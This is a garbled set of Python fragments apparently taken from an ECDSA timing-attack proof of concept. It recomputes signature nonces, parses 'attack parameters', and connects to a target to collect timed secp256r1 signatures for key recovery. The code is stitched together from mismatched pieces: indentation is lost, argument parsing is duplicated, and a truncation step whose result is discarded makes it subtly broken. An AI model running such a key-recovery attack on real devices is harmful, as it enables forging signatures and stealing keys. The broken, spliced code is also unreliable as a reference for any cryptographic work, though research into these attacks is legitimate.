def recompute_nonces(data, curve_name, hash_algo):
try:
curve = ec.get_curve(curve_name)
except:
curve = ec.load_curve(curve_name)
verified = False
for elem in data:
if elem["nonce"] is not None:
continue
if elem["index"] % (len(data) // 10) == 0:
print(".", end="")
if hash_algo is None:
hm = int.from_bytes(elem["data"], byteorder="big") % curve.group.n
else:
h = hashlib.new(hash_algo, elem["data"])
hm = int(h.hexdigest(), 16)
if h.digest_size * 8 > curve.group.n.bit_length():
hm >> h.digest_size * 8 - curve.group.n.bit_length()
hm = hm % curve.group.n
r, s = Sequence.load(elem["signature"]).native.values()
r = ec.Mod(r, curve.group.n)
s = ec.Mod(s, curve.group.n)
rx = r * elem["priv"]
hmrx = hm + rx
nonce = s.inverse() * hmrx
if not verified:
res = int(nonce) * curve.g
if int(res.x) % curve.group.n != int(r):
print("Nonce recomputation couldnt verify!")
raise ValueError
else:
print("Nonce recomputation works")
verified = True
elem["nonce"] = int(nonce)
parser = argparse.ArgumentParser()
parser.add_argument("curve", help="What curve was used.")
parser.add_argument("hash", help="What hash algorithm was used.")
parser.add_argument("sigfile", help="CSV signature output file name.")
parser.add_argument(
"-p",
"--params",
help="A JSON file specifying attack parameters.",
dest="params",
type=parse_params,
default=DEFAULT_PARAMS,
)
args = parser.parse_args()
curve = get_curve(args.curve)
if curve is None:
print("[x] No curve found:", args.curve)
exit(1)
try:
hash = hashlib.new(args.hash)
except ValueError:
print("[x] No hash algorithm found:", args.hash)
exit(1)
print("[*] Using parameters:")
pprint(args.params)
print("[ ] Loading signatures.")
with open(args.sigfile) as sigfile:
fline = sigfile.readline()[:-1].split(" ")
with open(fname) as f:
return json.load(f)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-p",
"--params",
help="A JSON file specifying attack parameters.",
dest="params",
type=parse_params,
default=DEFAULT_PARAMS)
args = parser.parse_args()
curve = get_curve("secp256r1")
hash = hashlib.new("sha256")
print("[*] Using parameters:")
pprint(args.params)
print("[*] Attack type is ignored, this PoC performs a fixed attack, "
"using all collected signatures as they are being collected.")
connection = connect()
if connection is None:
exit(1)
raw, pub, data = prepare(connection)
pubkey = curve.decode_point(raw)
output = lambda i, elapsed, resp: signature_queue.put((elapsed, resp))
finish = lambda i: solution_found.is_set()
